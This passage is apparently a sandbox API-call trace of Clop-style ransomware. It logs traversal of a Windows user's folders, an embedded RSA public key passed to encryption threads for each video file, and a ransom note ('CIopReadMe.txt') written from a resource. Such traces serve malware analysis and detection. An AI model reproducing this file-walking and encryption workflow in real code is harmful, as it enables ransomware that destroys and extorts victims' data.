(in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*" [0101.998] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0101.998] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="Start Menu" [0101.998] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0101.998] lstrcmpW (lpString1="Indexed Locations.search-ms.CIop", lpString2="..") returned 1 [0101.998] lstrcmpW (lpString1="Indexed Locations.search-ms.CIop", lpString2=".") returned 1 [0101.998] lstrlenW (lpString=".CIop") returned 5 [0101.998] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0101.998] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.998] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.998] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0101.998] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*" [0101.998] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0101.998] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="Start Menu" [0101.998] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0101.998] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0101.998] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.998] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.998] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0101.998] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0101.998] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0101.999] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0101.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0101.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0101.999] SetErrorMode (uMode=0x1) returned 0x1 [0101.999] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0101.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" [0101.999] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" [0101.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*" [0101.999] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0101.999] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="Templates" [0101.999] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0101.999] lstrcmpW (lpString1="Indexed Locations.search-ms.CIop", lpString2="..") returned 1 [0101.999] lstrcmpW (lpString1="Indexed Locations.search-ms.CIop", lpString2=".") returned 1 [0101.999] lstrlenW (lpString=".CIop") returned 5 [0101.999] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0101.999] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.999] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.999] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0101.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*" [0101.999] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0101.999] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="Templates" [0101.999] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0101.999] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0101.999] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.999] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.999] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0101.999] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0101.999] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0101.999] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0101.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0101.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0101.999] SetErrorMode (uMode=0x1) returned 0x1 [0101.999] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0101.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0101.999] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0101.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*" [0101.999] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x6490f8 [0102.000] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="Videos" [0102.000] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0102.000] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0102.000] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0102.000] lstrcmpW (lpString1="bVHx1G7LG6.swf", lpString2="..") returned 1 [0102.000] lstrcmpW (lpString1="bVHx1G7LG6.swf", lpString2=".") returned 1 [0102.000] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned 33 [0102.000] Sleep (dwMilliseconds=0xd) [0102.040] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.040] lstrcpyW (in: lpString1=0x2dc93de, lpString2="bVHx1G7LG6.swf" | out: lpString1="bVHx1G7LG6.swf") returned="bVHx1G7LG6.swf" [0102.040] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0102.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0102.040] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xffffffff) returned 0x0 [0102.139] SetErrorMode (uMode=0x1) returned 0x1 [0102.139] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CIopReadMe.txt") returned 43 [0102.139] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.139] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0102.139] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0102.139] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0102.139] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0102.139] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0102.139] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0102.139] WriteFile (in: hFile=0x5f8, lpBuffer=0x5d15b8*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc8a3c, lpOverlapped=0x0 | out: lpBuffer=0x5d15b8*, lpNumberOfBytesWritten=0x2dc8a3c*=0x759, lpOverlapped=0x0) returned 1 [0102.140] CloseHandle (hObject=0x5f8) returned 1 [0102.140] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0102.140] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0102.140] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0102.140] lstrlenW (lpString="desktop.ini") returned 11 [0102.140] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0102.140] lstrcmpW (lpString1="Up-xCZd9p 2yrWN.mp4", lpString2="..") returned 1 [0102.140] lstrcmpW (lpString1="Up-xCZd9p 2yrWN.mp4", lpString2=".") returned 1 [0102.140] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned 33 [0102.140] Sleep (dwMilliseconds=0xd) [0102.171] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.171] lstrcpyW (in: lpString1=0x2dc93de, lpString2="Up-xCZd9p 2yrWN.mp4" | out: lpString1="Up-xCZd9p 2yrWN.mp4") returned="Up-xCZd9p 2yrWN.mp4" [0102.171] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0102.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc [0102.172] WaitForSingleObject (hHandle=0x5fc, dwMilliseconds=0xffffffff) returned 0x0 [0102.457] SetErrorMode (uMode=0x1) returned 0x1 [0102.457] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CIopReadMe.txt") returned 43 [0102.457] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x60c [0102.457] CloseHandle (hObject=0x60c) returned 1 [0102.457] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0102.457] lstrcmpW (lpString1="VYNmKqyqyi.mkv", lpString2="..") returned 1 [0102.457] lstrcmpW (lpString1="VYNmKqyqyi.mkv", lpString2=".") returned 1 [0102.457] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned 33 [0102.457] Sleep (dwMilliseconds=0xd) [0102.484] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.484] lstrcpyW (in: lpString1=0x2dc93de, lpString2="VYNmKqyqyi.mkv" | out: lpString1="VYNmKqyqyi.mkv") returned="VYNmKqyqyi.mkv" [0102.484] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0102.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0102.484] SetErrorMode (uMode=0x1) returned 0x1 [0102.484] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CIopReadMe.txt") returned 43 [0102.484] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x608 [0102.485] CloseHandle (hObject=0x608) returned 1 [0102.485] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0102.485] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0102.485] lstrcmpW (lpString1="Xj74 9 m.flv", lpString2="..") returned 1 [0102.485] lstrcmpW (lpString1="Xj74 9 m.flv", lpString2=".") returned 1 [0102.485] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned 33 [0102.485] Sleep (dwMilliseconds=0xd) [0102.570] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.570] lstrcpyW (in: lpString1=0x2dc93de, lpString2="Xj74 9 m.flv" | out: lpString1="Xj74 9 m.flv") returned="Xj74 9 m.flv" [0102.570] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0102.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0102.571] SetErrorMode (uMode=0x1) returned 0x1 [0102.571] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CIopReadMe.txt") returned 43 [0102.571] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x604 [0102.571] CloseHandle (hObject=0x604) returned 1 [0102.571] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0102.571] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0102.571] lstrcmpW (lpString1="zDzpwp-28.avi", lpString2="..") returned 1 [0102.571] lstrcmpW (lpString1="zDzpwp-28.avi", lpString2=".") returned 1 [0102.571] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned 33 [0102.571] Sleep (dwMilliseconds=0xd) [0102.609] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.609] lstrcpyW (in: lpString1=0x2dc93de, lpString2="zDzpwp-28.avi" | out: lpString1="zDzpwp-28.avi") returned="zDzpwp-28.avi" [0102.609] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0102.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0 [0102.610] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0xffffffff) returned 0x0 [0103.295] SetErrorMode (uMode=0x1) returned 0x1 [0103.295] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CIopReadMe.txt") returned 43 [0103.295] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x610 [0103.295] CloseHandle (hObject=0x610) returned 1 [0103.295] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0103.295] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0103.295] FindClose (in: hFindFile=0x6490f8 | out: hFindFile=0x6490f8) returned 1 [0103.295] FindClose (in: hFindFile=0x6490f8 | out: hFindFile=0x6490f8) returned 0 [0103.296] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0103.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*" [0103.296] 